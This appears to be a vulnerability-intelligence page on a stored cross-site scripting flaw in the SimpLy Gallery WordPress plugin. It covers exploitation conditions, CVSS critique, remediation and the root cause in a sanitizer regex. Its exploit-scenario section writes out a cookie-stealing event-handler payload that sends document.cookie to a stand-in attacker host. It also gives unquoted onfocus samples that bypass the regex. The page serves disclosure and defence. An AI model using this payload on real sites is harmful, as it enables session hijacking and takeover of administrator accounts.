Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate as WordPress Author
-
DeliveryCreate or edit post with Simply Gallery block
-
ExploitSet sliderMaxHeight to unquoted event handler payload
-
InstallBypass pgc_sgb_sanitize_custom_css() regex
-
C2Publish page containing stored XSS
-
ExecuteVictim loads injected page
-
ImpactMalicious script executes in victim browser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation of the injection phase requires a valid WordPress account with Author-level access or higher - Contributor-level is insufficient, as Contributors cannot publish posts without editorial review and therefore cannot make the injected block publicly accessible. The SimpLy Gallery Block & Lightbox plugin must be installed and activated in a version at or below 3.3.3.2. The attacker must supply the sliderMaxHeight attribute value using unquoted HTML event handler syntax (eventname=payload without surrounding quotes) to bypass the specific regex flaw in pgc_sgb_sanitize_custom_css(). Execution of the stored payload against a victim additionally requires that victim to load a WordPress page containing the injected gallery block - establishing a two-phase attack (store, then trigger). Limiting factors include: the Author-level authentication barrier (PR:L per CVSS), the necessity for victim page-load, and the site's role configuration - many small or single-author WordPress deployments have no non-admin Author accounts, rendering those sites unexploitable in practice. |
| Impact | The vendor-assigned CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N scores 6.4 (Medium), but the UI:N metric is inconsistent with how stored XSS operates - a victim must load the injected page for the payload to execute, which is conventionally scored UI:R, yielding a more accurate 5.4. The PR:L metric correctly reflects the Author-level authentication barrier, which is a meaningful limiting factor on sites with strict role discipline. No EPSS score, CISA KEV entry, or public proof-of-concept is present in the available intelligence, indicating no confirmed widespread or opportunistic exploitation at time of analysis. Real-world priority depends heavily on the deployment model: WordPress sites granting Author access to multiple untrusted contributors face moderate risk from insider-threat or account-compromise scenarios where a malicious author targets administrators to escalate privileges or harvest session cookies. Sites where only fully-trusted users hold Author roles face minimal practical risk despite the medium score. The scope change (S:C) captures the cross-user browser impact accurately. |
| Exploit ScenarioDerived | An attacker with Author-level WordPress credentials creates or edits a post containing a Simply Gallery block and sets the sliderMaxHeight attribute to a value such as 1px; onfocus=fetch('https://attacker.example/?c='+document.cookie). The pgc_sgb_sanitize_custom_css() regex passes the value without modification because no quoted attribute delimiter is present, and the payload is stored in the database and rendered on the published page. Any user who subsequently visits that page - including site administrators whose session cookies grant full WordPress access - executes the attacker's script in their browser. No public proof-of-concept is identified at time of analysis, but the attack primitive is directly constructible from the public CVE description. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 11, 2026
Stored XSS in the SimpLy Gallery Block & Lightbox WordPress plugin (all versions through 3.3.3.2) allows authenticated attackers with Author-level access to inject persistent JavaScript via the sliderMaxHeight block attribute. The root cause is a defective regex in pgc_sgb_sanitize_custom_css() that strips quoted event handlers but silently permits unquoted HTML event handler syntax (e.g., onfocus=alert(document.cookie)), enabling a sanitization bypass that survives to page render. No public exploit or CISA KEV listing is identified at time of analysis, though the stored nature means injected payloads persist and execute against any subsequent visitor - including administrators.
RemediationAI
A fix has been committed to the plugin's WordPress SVN trunk as changeset 3581386 (https://plugins.trac.wordpress.org/changeset?reponame=&old=3581386%40simply-gallery-block&new=3581386%40simply-gallery-block); however, the corresponding released plugin version number is not stated in available data - update to the latest version available in the WordPress plugin repository and confirm it is newer than 3.3.3.2. As an immediate workaround, administrators should audit existing posts authored by Author-level accounts for suspicious sliderMaxHeight attribute values containing unquoted event handlers (grep for patterns like onfocus= without a following quote). Restricting the Author role to only fully-trusted users eliminates the attack surface without disabling the plugin. Disabling the Simply Gallery Block plugin entirely is the most effective compensating control while awaiting patch confirmation. WAF rules targeting unquoted event handler injection in POST body parameters provide a partial defense but carry bypass risk and should not be the sole control.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in blocks/init.php of the Simply Gallery Block & Lightbox WordPress plugin (CPE: cpe:2.3:a:gallerycreator:simply_gallery:*:*:*:*:*:*:*:*), specifically within the pgc_sgb_render_callback() server-side render callback for the Gutenberg gallery block. CWE-79 (Improper Neutralization of Input During Web Page Generation) applies: the sanitization function pgc_sgb_sanitize_custom_css() implements a regex designed to strip HTML event handlers, but the pattern only matches handlers whose value is enclosed in quotes (onfocus="alert()"). Unquoted attribute syntax - valid per HTML5 parsing rules (onfocus=alert(document.cookie)) - is invisible to the regex and passes through unmodified into rendered output. This is a classic partial-sanitization flaw: the developer correctly identified the attack class but produced an incomplete strip pattern. The Gutenberg block editor serializes block attributes and passes them to the PHP render callback, making the sliderMaxHeight attribute the concrete injection vector. Affected code lines are documented in WordPress SVN at blocks/init.php lines 95, 122, 142, and 151.
Know when Simply Gallery gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Stored XSS payload executes only when a victim loads the injected page, requiring UI:R; all other vendor metrics are consistent with the description.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The SimpLy Gallery Block & Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via block attributes in all versions up to, and including, 3.3.3.2. This is due to insufficient input sanitization and output escaping on the sliderMaxHeight block attribute in the pgc_sgb_render_callback() function. The vulnerability exists because the pgc_sgb_sanitize_custom_css() function uses a flawed regex pattern that only removes event handlers with quoted values (e.g., onfocus="alert()") but fails to catch unquoted event handlers (e.g., onfocus=alert(document.cookie)), allowing the malicious code to bypass sanitization. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages via block attributes that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-43120
GHSA-7jhf-qg59-fxm2
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB